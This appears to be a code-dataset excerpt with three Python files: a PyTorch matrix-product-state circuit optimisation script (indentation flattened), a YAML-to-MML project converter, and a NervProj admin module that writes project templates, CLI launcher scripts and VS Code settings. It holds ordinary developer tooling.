print('lr=:' + str(lr) + ', k_bood=: ' + str(k_bood) + ', A small amount of vol per unit door is: ' + str(vol))
data = np.load(file_name)
tar_mpslist.append(tc.from_numpy(data['tar_mpslist0']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist1']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist2']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist3']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist4']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist5']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist6']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist7']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist8']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist9']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist10']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist11']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist12']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist13']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist14']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist15']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist16']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist17']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist18']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist19']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist20']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist21']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist22']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist23']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist24']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist25']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist26']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist27']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist28']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist29']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist30']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist31']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist32']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist33']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist34']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist35']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist36']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist37']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist38']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist39']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist40']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist41']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist42']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist43']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist44']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist45']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist46']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist47']).to(para['device']))
def fprint(content, file=None, print_screen=True, append=True):
if file is None:
file = './record.log'
if append:
way = 'ab'
else:
way = 'wb'
with open(file, way, buffering=0) as log:
log.write((content + '\n').encode(encoding='utf-8'))
if print_screen:
print(content)
def mps_norm(tar_tensor_):
tv = tc.einsum('asb,asd->bd', tar_tensor_[0].data, tar_tensor_[0].data)
t_norm = tc.norm(tv)
tv = tv / t_norm
tar_tensor_[0] = tar_tensor_[0].data / tc.sqrt(t_norm)
for gt in range(1, mps_num):
if gt < mps_num - 1:
tv = tc.einsum('ac,asb,csd->bd', tv, tar_tensor_[gt].data, tar_tensor_[gt].data)
else:
tv = tc.einsum('ac,asb,csd->bd', tv, tar_tensor_[gt].data, tar_tensor_[gt].data)
norm_t = tc.norm(tv)
tv = tv / norm_t
tar_tensor_[gt] = tar_tensor_[gt] / tc.sqrt(norm_t)
def qr_left_and_right_location(MPS_list, location, vol, feature_num=2):
for k in range(location):
q, r = tc.qr(MPS_list[k].reshape(-1, MPS_list[k].shape[2]))
r = r
MPS_list[k] = q.reshape(-1, feature_num, q.shape[1])
MPS_list[k + 1] = tc.einsum('nl, lmk-> nmk', [r, MPS_list[k + 1]])
for i in range(len(MPS_list) - 1, location, -1):
q, r = tc.qr(MPS_list[i].reshape(MPS_list[i].shape[0], -1).t())
q_shape = q.t().shape
MPS_list[i] = q.t().reshape(q_shape[0], feature_num, -1)
r = r
MPS_list[i - 1] = tc.einsum('ldk, nk-> ldn', [MPS_list[i - 1], r])
MPS_list[location] = MPS_list[location]/tc.norm(MPS_list[location])
u, s, v = tc.svd(MPS_list[location].reshape(MPS_list[location].shape[0], -1))
s = s[s > vol]
y = (-1) * tc.sum(tc.pow(s, 2) * tc.log(tc.pow(s, 2)), dim=0).item()
return y, MPS_list
def half_entropy(out_mps):
for ht in range(1, mps_num):
h_entropy = qr_left_and_right_location(out_mps, ht, 1e-16)[0]
half_entropy_list[0][number_list[0], ht-1] = h_entropy
number_list[0] = number_list[0] + 1
entro_tar = copy.deepcopy(tar_mpslist)
for et in range(1, mps_num):
entropy = qr_left_and_right_location(entro_tar, et, 1e-16)[0]
entropy_list.append(entropy)
for m in range(mps_num - 2):
average_ = entropy_list[m]
average = average + average_
average = average / (mps_num - 1)
center_entropy = qr_left_and_right_location(entro_tar, center_position, 1e-16)[0]
print('平均纠缠熵是:{}'.format(average))
print('正交中心为第' + str(center_position) + '个tensor的MPS纠缠熵是:{}'.format(center_entropy))
for nn in range(mps_num):
ini_state.append(tc.tensor([1, 0], dtype=dtype).reshape(1, 2, 1).to(para['device']))
read_memory_gate = bfs.load('read_memory_gate_data', 'gate')
for vt in range(read_gatenum):
unitary_gate = read_memory_gate[vt].to(para['device'])
unitary_gate.requires_grad = True
layer_gatelist.append(unitary_gate)
for jt in range(gatenum//layer_num):
vol_gate = tc.mul(tc.rand((4, 4), dtype=dtype).to(para['device']), vol)
unitary_gate = tc.add(vol_gate, identity_4)
unitary_gate.requires_grad = True
layer_gatelist.append(unitary_gate)
mps_norm(ini_state)
for it in range(gatenum):
if it < (gatenum//layer_num)*1:
layer_gatelist_0.append(layer_gatelist[it])
else:
if it < (gatenum//layer_num)*2:
layer_gatelist_1.append(layer_gatelist[it])
else:
if it < (gatenum//layer_num)*3:
layer_gatelist_2.append(layer_gatelist[it])
else:
if it < (gatenum//layer_num)*4:
layer_gatelist_3.append(layer_gatelist[it])
else:
if it < (gatenum//layer_num)*5:
layer_gatelist_4.append(layer_gatelist[it])
else:
layer_gatelist_5.append(layer_gatelist[it])
lay_optimize_0 = tc.optim.Adam(layer_gatelist_0, lr=lr)
lay_optimize_1 = tc.optim.Adam(layer_gatelist_1, lr=lr)
lay_optimize_2 = tc.optim.Adam(layer_gatelist_2, lr=lr)
layer_optimize.append(lay_optimize_0)
layer_optimize.append(lay_optimize_1)
layer_optimize.append(lay_optimize_2)
scheduler_0 = StepLR(lay_optimize_0, step_size=step_size, gamma=0.1)
scheduler_1 = StepLR(lay_optimize_1, step_size=step_size, gamma=0.1)
scheduler_2 = StepLR(lay_optimize_2, step_size=step_size, gamma=0.1)
scheduler = list()
scheduler.append(scheduler_0)
scheduler.append(scheduler_1)
scheduler.append(scheduler_2)
evo = ev.Evolve(mps_num, k_bood, 2, gatenum, layer_num)
evo.init_tensor_list(copy.deepcopy(ini_state))
for bt in range(layer_num):
print('初始化第' + str(bt) + '的学习率:', layer_optimize[bt].defaults['lr'])
start.record()
for pt in range(pt_time):
fprint('Circle优化位于第' + str(pt) + '次', file=para['log_name'])
for lay_num in range(layer_num):
fprint('Circle优化位于第' + str(lay_num) + '层', file=para['log_name'])
for vt in range(it_time):
for llt in range(lay_num, lay_num + 1):
evo.layered_evolve_mps(layer_gatelist, llt)
if vt == it_time - 1:
evo.storage_layer_out_optimization(llt, 0)
for at in range(lay_num + 1, layer_num):
evo.layered_evolve_mps(layer_gatelist, at)
lay_loss = evo.log_fidelity(tar_mpslist)
if ((vt + 1) % dt_print) == 0:
if vt == 0:
fprint('block')
else:
fprint('At t = ' + str(vt) + ', loss = ' + str(lay_loss.item()), file=para['log_name'])
loss_[lay_num].append(lay_loss.item())
lay_loss.backward()
layer_optimize[lay_num].step()
layer_optimize[lay_num].zero_grad()
if ((vt + 1) % dt_print) == 0:
fprint("第%d个epoch的学习率:%f" % (vt, layer_optimize[lay_num].param_groups[0]['lr']),
file=para['log_name'])
scheduler[lay_num].step()
tc.cuda.empty_cache()
if lay_num == layer_num-1:
if vt == it_time - 1:
half_entropy(evo.out_optimization())
if vt == it_time - 1:
evo.read_layer_out_optimization(lay_num, 0)
else:
evo.read_layer_out_optimization(lay_num, 1)
half_entropy(tar_mpslist)
bfs.save('.', 'out_memory_half_entropy_data', [half_entropy_list], ['half_entropy'])
for dt in range(gatenum):
zero_gatetensor[dt, :, :] = layer_gatelist[dt].data
bfs.save('.', 'out_memory_gate_data', [zero_gatetensor], ['gate'])
out_layer = evo.out_optimization()
out_layer_numpy = list()
for nt in range(mps_num):
out_layer_numpy.append(out_layer[nt].numpy())
np.savez(out_file_name,
tar_mpslist0=out_layer_numpy[0], tar_mpslist1=out_layer_numpy[1], tar_mpslist2=out_layer_numpy[2],
tar_mpslist3=out_layer_numpy[3], tar_mpslist4=out_layer_numpy[4], tar_mpslist5=out_layer_numpy[5],
tar_mpslist6=out_layer_numpy[6], tar_mpslist7=out_layer_numpy[7], tar_mpslist8=out_layer_numpy[8],
tar_mpslist9=out_layer_numpy[9],
tar_mpslist10=out_layer_numpy[10], tar_mpslist11=out_layer_numpy[11], tar_mpslist12=out_layer_numpy[12],
tar_mpslist13=out_layer_numpy[13], tar_mpslist14=out_layer_numpy[14], tar_mpslist15=out_layer_numpy[15],
tar_mpslist16=out_layer_numpy[16], tar_mpslist17=out_layer_numpy[17], tar_mpslist18=out_layer_numpy[18],
tar_mpslist19=out_layer_numpy[19],
tar_mpslist20=out_layer_numpy[20], tar_mpslist21=out_layer_numpy[21], tar_mpslist22=out_layer_numpy[22],
tar_mpslist23=out_layer_numpy[23], tar_mpslist24=out_layer_numpy[24], tar_mpslist25=out_layer_numpy[25],
tar_mpslist26=out_layer_numpy[26], tar_mpslist27=out_layer_numpy[27], tar_mpslist28=out_layer_numpy[28],
tar_mpslist29=out_layer_numpy[29],
tar_mpslist30=out_layer_numpy[30], tar_mpslist31=out_layer_numpy[31], tar_mpslist32=out_layer_numpy[32],
tar_mpslist33=out_layer_numpy[33], tar_mpslist34=out_layer_numpy[34], tar_mpslist35=out_layer_numpy[35],
tar_mpslist36=out_layer_numpy[36], tar_mpslist37=out_layer_numpy[37], tar_mpslist38=out_layer_numpy[38],
tar_mpslist39=out_layer_numpy[39],
tar_mpslist40=out_layer_numpy[40], tar_mpslist41=out_layer_numpy[41], tar_mpslist42=out_layer_numpy[42],
tar_mpslist43=out_layer_numpy[43], tar_mpslist44=out_layer_numpy[44], tar_mpslist45=out_layer_numpy[45],
tar_mpslist46=out_layer_numpy[46], tar_mpslist47=out_layer_numpy[47])
for nt in range(mps_num):
tar_mpslist[nt] = tar_mpslist[nt].cpu().numpy()
end.record()
tc.cuda.synchronize()
print('Runtime: ', start.elapsed_time(end))
for i in range(pt_time*5):
x1_axis.append(i*10)
color_list = list(['deeppink', 'red', 'gold', 'black', 'lime', 'peru', 'purple', 'blue'])
plt.figure(num=1, figsize=(16, 12), dpi=100)
plt.tick_params(labelsize=16)
plt.xlabel("num of optimize", fontsize=20)
plt.ylabel("negative-logarithmic fidelities (NLFs) per site", fontsize=20)
plt.grid(axis='x', c='g', linestyle='--', alpha=0.5)
for kt in range(layer_num):
plt.plot(x1_axis, loss_[kt], color=color_list[kt], linewidth=3, label=' Circle layered Optimize' + str(kt))
plt.legend(prop={'family': 'Times New Roman', 'size': 16}, loc='upper right')
plt.savefig('./MPS_Step_3layer_Circle.jpg')
| true | true |
f73c24e70f1e75897b57dc8139e94d3d8fc52c39 | 1,037 | py | Python | scripts/yaml2mml.py | MapsMD/mapsmd-carto | e4ca0101d3385c83e6ccaa724ae8b71ef476b570 | [
"CC0-1.0"
] | null | null | null | scripts/yaml2mml.py | MapsMD/mapsmd-carto | e4ca0101d3385c83e6ccaa724ae8b71ef476b570 | [
"CC0-1.0"
] | 1 | 2016-07-11T16:00:23.000Z | 2016-07-11T16:00:23.000Z | scripts/yaml2mml.py | MapsMD/mapsmd-carto | e4ca0101d3385c83e6ccaa724ae8b71ef476b570 | [
"CC0-1.0"
] | 1 | 2019-10-03T15:29:42.000Z | 2019-10-03T15:29:42.000Z | #!/usr/bin/env python
from __future__ import print_function
import argparse, json, os, sys, yaml
parser = argparse.ArgumentParser(description='Keeps project files in sync by converting project.yaml to project.mml.')
parser.add_argument('--check', dest='check', help='write generated JSON to stdout instead to project.mml', required=False, action='store_true', default=False)
args = parser.parse_args()
yaml_path = os.path.join(os.path.dirname(__file__), '../project.yaml')
mml_path = os.path.join(os.path.dirname(__file__), '../project.mml')
try:
yaml_file = open(yaml_path)
yaml = yaml.safe_load(yaml_file)
yaml_file.close()
try:
if (args.check == False):
mml_file = open(mml_path, 'w')
json.dump(yaml, mml_file, indent=2, separators=(',', ': '))
mml_file.close()
else:
json.dump(yaml, sys.stdout, indent=2, separators=(',', ': '))
except IOError:
print('Could not save MML file. Aborting.')
sys.exit(1)
except IOError:
print('Could not read YAML file. Aborting.')
sys.exit(1)
| 33.451613 | 158 | 0.693346 |
from __future__ import print_function
import argparse, json, os, sys, yaml
parser = argparse.ArgumentParser(description='Keeps project files in sync by converting project.yaml to project.mml.')
parser.add_argument('--check', dest='check', help='write generated JSON to stdout instead to project.mml', required=False, action='store_true', default=False)
args = parser.parse_args()
yaml_path = os.path.join(os.path.dirname(__file__), '../project.yaml')
mml_path = os.path.join(os.path.dirname(__file__), '../project.mml')
try:
yaml_file = open(yaml_path)
yaml = yaml.safe_load(yaml_file)
yaml_file.close()
try:
if (args.check == False):
mml_file = open(mml_path, 'w')
json.dump(yaml, mml_file, indent=2, separators=(',', ': '))
mml_file.close()
else:
json.dump(yaml, sys.stdout, indent=2, separators=(',', ': '))
except IOError:
print('Could not save MML file. Aborting.')
sys.exit(1)
except IOError:
print('Could not read YAML file. Aborting.')
sys.exit(1)
| true | true |
f73c25986bb7ea479bfa48f6033b06439abd359f | 24,683 | py | Python | nvp/components/admin.py | roche-emmanuel/nervproj | f784e88957868a17a40f499bef75cc226cf94e69 | [
"MIT"
] | null | null | null | nvp/components/admin.py | roche-emmanuel/nervproj | f784e88957868a17a40f499bef75cc226cf94e69 | [
"MIT"
] | null | null | null | nvp/components/admin.py | roche-emmanuel/nervproj | f784e88957868a17a40f499bef75cc226cf94e69 | [
"MIT"
] | null | null | null | """Collection of admin utility functions"""
import os
import sys
import logging
from nvp.nvp_component import NVPComponent
from nvp.nvp_context import NVPContext
logger = logging.getLogger(__name__)
# Default .editorconfig content:
DEFAULT_EDITORCONFIG_CONTENT = """# Autogenerated .editorconfig file
# Update as needed.
root = true
[*]
end_of_line = lf
"""
# Default .gitignore content:
DEFAULT_GITIGNORE_CONTENT = """# Ignore python compiled files:
*.pyc
# Ignore .vs_env file:
.vs_env
# Ignore visual studio code actual settings file:
.vscode/settings.json
# Ignore log files:
*.log
"""
# Default python .env content:
DEFAULT_PYTHONENV_CONTENT = """# Autogenerated .vs_env file
# Update as needed.
PYTHONPATH=.${SEP}${NVP_ROOT_DIR}
"""
# Default nvp_config.json content:
DEFAULT_NVPCONFIG_CONTENT = """/* NVP project configuration file */
{
// Add config entries as needed here.
}
"""
# Default nvp_plug.py content:
DEFAULT_NVPPLUG_CONTENT = '''""" NVP plug entrypoint module for ${PROJ_NAME} """
import logging
from nvp.nvp_component import NVPComponent
from nvp.nvp_context import NVPContext
logger = logging.getLogger('${PROJ_NAME}')
def register_nvp_plugin(context, proj):
"""This function should register this plugin in the current NVP context"""
logger.info("Registering ${PROJ_NAME} NVP plugin.")
proj.register_component('${PROJ_NAME}', MyComponent(context))
class MyComponent(NVPComponent):
"""Example component class"""
def __init__(self, ctx: NVPContext):
"""Constructor for component"""
NVPComponent.__init__(self, ctx)
# define parsers and build required logic from here:
# desc = {
# "build": {"libs": None},
# }
# ctx.define_subparsers("main", desc)
# psr = ctx.get_parser('main.build')
# psr.add_argument("-c", "--compiler", dest='compiler_type', type=str,
# help="Specify which type of compiler should be selected")
'''
# Default .gitattributes content:
# cf. https://rehansaeed.com/gitattributes-best-practices/
###############################
# Git Large File System (LFS) #
###############################
# Could use 'filter=lfs diff=lfs merge=lfs ' below but not clear yet how to do that
# properly
DEFAULT_GITATTRIBUTES_CONTENT = """###############################
# Git Line Endings #
###############################
# Set default behaviour to automatically normalize line endings.
* text=auto
# Force batch scripts to always use CRLF line endings so that if a repo is accessed
# in Windows via a file share from Linux, the scripts will work.
*.{cmd,[cC][mM][dD]} text eol=crlf
*.{bat,[bB][aA][tT]} text eol=crlf
# Force bash scripts to always use LF line endings so that if a repo is accessed
# in Unix via a file share from Windows, the scripts will work.
*.sh text eol=lf
# Archives
*.7z -text
*.br -text
*.gz -text
*.tar -text
*.zip -text
# Documents
*.pdf -text
# Images
*.gif -text
*.ico -text
*.jpg -text
*.pdf -text
*.png -text
*.psd -text
*.webp -text
# Fonts
*.woff2 -text
# Other
*.exe -text
"""
DEFAULT_CLI_PY_CONTENT = '''""" Main command line interface module """
import argparse
# => Adapt the code below to be your application entrypoint.
parser = argparse.ArgumentParser()
args = parser.parse_args()
print("Should implement application logic here.")
'''
DEFAULT_CLI_SH_CONTENT = '''#!/bin/bash
# cf. https://stackoverflow.com/questions/59895/how-can-i-get-the-source-directory-of-a-bash-script-from-within-the-script-itsel
ROOT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" &>/dev/null && pwd)
_${PROJ_NAME}_run_cli_windows() {
# On windows we should simply rely on the cli.bat script below:
ROOT_DIR="$(cygpath -w $ROOT_DIR)"
cmd /C "$ROOT_DIR\cli.bat" "$@"
}
_${PROJ_NAME}_run_cli_linux() {
local python_version="${PY_VERSION}"
# On linux we should call the python cli directly:
# Get the project root folder:
local root_dir=$(readlink -f $ROOT_DIR/)
# echo "Project root dir is: $root_dir"
# Check if we already have python:
local tools_dir=$root_dir/tools/linux
if [[ ! -d $tools_dir ]]; then
echo "Creating tools/linux folder..."
mkdir $tools_dir
fi
local python_dir=$tools_dir/python-$python_version
local python_path=$python_dir/bin/python3
if [[ ! -d $python_dir ]]; then
# Get the path to package:
local python_pkg=$root_dir/tools/packages/python-$python_version-linux.tar.xz
echo "Extracting $python_pkg..."
# $unzip_path x -o"$tools_dir" "$python_pkg" > /dev/null
pushd $tools_dir >/dev/null
tar xvJf $python_pkg
popd >/dev/null
# Once we have deployed the base python tool package we start with upgrading pip:
echo "Upgrading pip..."
$python_path -m pip install --upgrade pip
# Finally we install the python requirements:
echo "Installing python requirements..."
$python_path -m pip install -r $root_dir/tools/requirements.txt
fi
if [ "$1" == "--install-py-reqs" ]; then
echo "Installing python requirements..."
$python_path -m pip install -r $root_dir/tools/requirements.txt
elif [ "$1" == "python" ]; then
# shift the args by one:
shift
$python_path "$@"
elif [ "$1" == "pip" ]; then
# shift the args by one:
shift
$python_path -m pip "$@"
else
# Execute the command in python:
$python_path $root_dir/cli.py "$@"
fi
}
${PROJ_NAME}() {
if [ "$1" == "home" ]; then
# We simply go to the home of this project:
cd "$ROOT_DIR"
else
# Check if we are on a windows or a linux system:
pname=$(uname -s)
case $pname in
CYGWIN*)
_${PROJ_NAME}_run_cli_windows "$@"
;;
*)
_${PROJ_NAME}_run_cli_linux "$@"
;;
esac
fi
}
# cf. https://askubuntu.com/questions/141928/what-is-the-difference-between-bin-sh-and-bin-bash
(return 0 2>/dev/null) && sourced=1 || sourced=0
if [ "$sourced" == "0" ]; then
${PROJ_NAME} "$@"
else
echo "${PROJ_NAME} command loaded."
fi
'''
DEFAULT_CLI_BAT_CONTENT = '''
@echo off
SETLOCAL ENABLEDELAYEDEXPANSION
@REM Retrieve the current folder:
@REM cli script is located directly in the root, so we don't need the '..' in path:
@REM cd /D %~dp0..
cd /D %~dp0
FOR /F %%i IN (".") DO set ${PROJ_NAME}_ROOT_DIR=%%~fi
set ${PROJ_NAME}_DIR=%${PROJ_NAME}_ROOT_DIR%
@REM echo Using NervProj root folder: %${PROJ_NAME}_DIR%
@REM Extract the python env if needed:
set py_vers=${PY_VERSION}
set TOOLS_DIR=%${PROJ_NAME}_DIR%\\tools\\windows\\
set UNZIP=%TOOLS_DIR%\\7zip-${ZIP_VERSION}\\7za.exe
set PYTHON=%TOOLS_DIR%\\python-%py_vers%\\python.exe
@REM Check if python is extracted already:
if not exist "%PYTHON%" (
echo Extracting python tool...
%UNZIP% x -o"%TOOLS_DIR%" "%${PROJ_NAME}_DIR%\\tools\\packages\\python-%py_vers%-windows.7z" > nul
@REM Upgrade pip:
%PYTHON% -m pip install --upgrade pip
@REM Install requirements:
%PYTHON% -m pip install -r %${PROJ_NAME}_DIR%\\tools\\requirements.txt
)
@REM check if the first argument is "--install-py-reqs"
IF /i "%~1" == "--install-py-reqs" goto install_reqs
IF /i "%~1" == "python" goto run_python
IF /i "%~1" == "pip" goto run_pip
%PYTHON% %NERVHOME_DIR%\cli.py %*
goto common_exit
:install_reqs
%PYTHON% -m pip install -r %NERVHOME_DIR%\tools\requirements.txt
goto common_exit
@REM cannot rely on %* when we use shift below:
:run_python
shift
%PYTHON% %1 %2 %3 %4 %5 %6 %7 %8 %9
goto common_exit
:run_pip
shift
%PYTHON% -m pip %1 %2 %3 %4 %5 %6 %7 %8 %9
goto common_exit
:common_exit
'''
def register_component(ctx: NVPContext):
"""Register this component in the given context"""
comp = AdminManager(ctx)
ctx.register_component('admin', comp)
class AdminManager(NVPComponent):
"""Admin command manager class"""
def __init__(self, ctx: NVPContext):
"""Admin commands manager constructor"""
NVPComponent.__init__(self, ctx)
# # Check the value of the sub command:
# sub_cmd = self.settings['l1_cmd']
# if sub_cmd == 'install-cli':
# self.install_cli()
desc = {
"admin": {
"install": {"cli": None, "reqs": None, "repo": None},
"init": None,
}
}
ctx.define_subparsers("main", desc)
psr = ctx.get_parser('main.admin.init')
psr.add_argument("-p", "--with-py-env", dest="with_py_env", action="store_true",
help="Request deployment of a full python environment.")
def install_cli(self):
"""Install a CLI script in .bashrc if application"""
# Check if an $HOME folder is provider:
home_dir = os.getenv('HOME')
if home_dir is None:
logger.error("Cannot install cli alias: no $HOME environment variable detected.")
return
logger.info("Home folder is: %s", home_dir)
# Check if we have a .bashrc file in that folder:
bashrc_file = self.get_path(home_dir, ".bashrc")
if not self.file_exists(bashrc_file):
logger.warning("Cannot install cli alias: no .bashrc file in HOME folder.")
return
script_path = self.get_path(self.ctx.get_root_dir(), "cli.sh")
# If we are on windows, we may want to convert this path to a cygwin path
# if we are in a cygwin environment (but running the native python executable):
if self.is_windows:
script_path = self.to_cygwin_path(script_path)
assert script_path is not None, "Invalid cygwin environment."
sline = f"\n[ -f \"{script_path}\" ] && source \"{script_path}\"\n"
# Check if this string is already in the bashrc file:
content = self.read_text_file(bashrc_file)
if content.find(sline) == -1:
# We should add the string:
logger.info("Adding source file in .bashrc for NervProj")
# Make a backup of the file:
self.copy_file(bashrc_file, bashrc_file+".bak", force=True)
self.write_text_file(content+sline, bashrc_file, newline='\n')
else:
logger.info("NervProj setup file already referenced in .bashrc")
# pp = pprint.PrettyPrinter(indent=2)
# res = pp.pformat(dict(os.environ))
# logger.info("Current environment is: %s", res)
def install_python_requirements(self):
"""Install the requirements for the main python environment using pip"""
logger.info("Installing python requirements...")
reqfile = self.get_path(self.ctx.get_root_dir(), "tools/requirements.txt")
cmd = [sys.executable, "-m", "pip", "install", "-r", reqfile]
# logger.info("Executing command: %s", cmd)
self.execute(cmd)
logger.info("Done installing python requirements.")
def install_repository_bootstrap(self):
"""Install the bootstraped repository for this NervProj folder if not present already."""
base_dir = self.ctx.get_root_dir()
if self.dir_exists(base_dir, ".git"):
logger.info(".git folder already exists, bootstrapping ignored.")
return
# We need to bootstrap in a temp folder:
git = self.get_component('git')
url = self.config["repository_url"]
dest_dir = self.get_path(base_dir, "temp", "nervproj")
logger.info("Cloning NervProj folder into %s...", dest_dir)
git.clone_repository(url, dest_dir)
# When cloning is done we should move the .git folder from the clone location into our root
self.move_path(self.get_path(dest_dir, ".git"), self.get_path(base_dir, ".git"))
# And finally we remove the remaining files:
self.remove_folder(dest_dir)
logger.info("Done bootstrapping NervProj project.")
def setup_global_vscode_config(self, config_dir=None):
"""Setup global Visual studio code user settings"""
if config_dir is None:
# * on windows: in C:/Users/kenshin/AppData/Roaming/Code/User/settings.json
# => should use os.getenv('APPDATA')
# * on linux: in /home/kenshin/.config/Code/User/settings.json
if self.is_windows:
base_dir = os.getenv("APPDATA")
else:
base_dir = self.get_path(self.ctx.get_home_dir(), ".config")
config_dir = self.get_path(base_dir, "Code", "User")
cfg_file = self.get_path(config_dir, "settings.json")
config = {}
ref_config = None
if not self.file_exists(cfg_file):
# Ensure the folder exists:
self.make_folder(config_dir)
else:
# Read the config:
config = self.read_json(cfg_file)
# Keep a copy to compare the changes:
ref_config = self.read_json(cfg_file)
# Now write the changes we want:
tools = self.get_component('tools')
config["git.path"] = tools.get_git_path()
config["python.linting.pylintEnabled"] = True
config["python.linting.enabled"] = True
config["python.linting.pylintPath"] = tools.get_tool_path('pylint')
config["python.linting.pylintArgs"] = [
"--max-line-length=120",
"--good-names=i,j,k,ex,Run,_,x,y,z,w,t,dt",
"--good-names-rgxs=[a-z][0-9]$"]
config["python.defaultInterpreterPath"] = tools.get_tool_path('python')
config["python.formatting.autopep8Path"] = tools.get_tool_path("autopep8")
config["python.formatting.provider"] = "autopep8"
config["python.formatting.autopep8Args"] = ["--max-line-length=120", "--experimental"]
config["editor.formatOnSave"] = True
config["cmakeFormat.exePath"] = tools.get_tool_path("cmake_format")
if ref_config is None or config != ref_config:
logger.info("Wrtting updated vscode settings in %s", cfg_file)
self.write_json(config, cfg_file)
else:
logger.info("No change in %s", cfg_file)
def init_project_config(self, proj_dir, proj_name):
"""Setup initial project local config elements"""
config_dir = self.get_path(proj_dir, ".vscode")
cfg_file = self.get_path(config_dir, "settings.template.json")
self.make_folder(config_dir)
config = {}
ref_config = None
# Check if we should provide a python environment in this project:
with_py = self.get_param("with_py_env", False)
if with_py:
logger.info("Setting up dedicated python env for %s", proj_name)
if self.file_exists(cfg_file):
# Read the config:
config = self.read_json(cfg_file)
# Keep a copy to compare the changes:
ref_config = self.read_json(cfg_file)
config["python.envFile"] = "${workspaceFolder}/.vs_env"
ignore_elems = []
if with_py:
# We deploy the python packages:
dest_dir = self.get_path(proj_dir, "tools", "packages")
self.make_folder(dest_dir)
# get the python version on windows:
py_vers = {}
sevenzip_vers = {}
for plat_name in ["windows", "linux"]:
for el in self.config[f'{plat_name}_tools']:
if el["name"] == 'python':
py_vers[plat_name] = el["version"]
if el["name"] == '7zip':
sevenzip_vers[plat_name] = el["version"]
for plat_name, py_version in py_vers.items():
for ext in [".7z", ".tar.xz"]:
file_name = f"python-{py_version}-{plat_name}{ext}"
src_file = self.get_path(self.ctx.get_root_dir(), "tools", "packages", file_name)
dst_file = self.get_path(dest_dir, file_name)
if self.file_exists(src_file) and not self.file_exists(dst_file):
logger.info("Adding package file %s", dst_file)
self.copy_file(src_file, dst_file)
# more updates to vscode settings if we have a dedicated python env:
cur_py_vers = py_vers[self.platform]
ext = ".exe" if self.is_windows else ""
config["python.linting.pylintEnabled"] = True
config["python.linting.enabled"] = True
config["python.linting.pylintPath"] = f"${{workspaceFolder}}/tools/{self.platform}/python-{cur_py_vers}/Scripts/pylint{ext}"
config["python.linting.pylintArgs"] = ["--max-line-length=120"]
config["python.defaultInterpreterPath"] = f"${{workspaceFolder}}/tools/{self.platform}/python-{cur_py_vers}/python{ext}"
config["python.formatting.autopep8Path"] = f"${{workspaceFolder}}/tools/{self.platform}/python-{cur_py_vers}/Scripts/autopep8{ext}"
config["python.formatting.provider"] = "autopep8"
config["python.formatting.autopep8Args"] = ["--max-line-length=120", "--experimental"]
# Next, for the windows part we need to deploy the 7zip package too:
folder_name = f"7zip-{sevenzip_vers['windows']}"
src_folder = self.get_path(self.ctx.get_root_dir(), "tools", "windows", folder_name)
dst_folder = self.get_path(proj_dir, "tools", "windows", folder_name)
if not self.dir_exists(dst_folder):
logger.info("Adding windows 7zip package at %s", dst_folder)
self.copy_folder(src_folder, dst_folder)
# Update the ignore elements:
ignore_elems += ["",
"# Ignore all the windows tools except the 7zip folder:",
"tools/windows/*",
"!tools/windows/7zip-*",
"tools/linux/*"]
# Should also install an requirements.txt file:
dest_file = self.get_path(proj_dir, "tools", "requirements.txt")
if not self.file_exists(dest_file):
logger.info("Installing pythong requirements file.")
content = ["# List here all the required python packages",
"# Then call cli.{sh/bat} --install-py-reqs",
"",
"pylint",
"autopep8",
""]
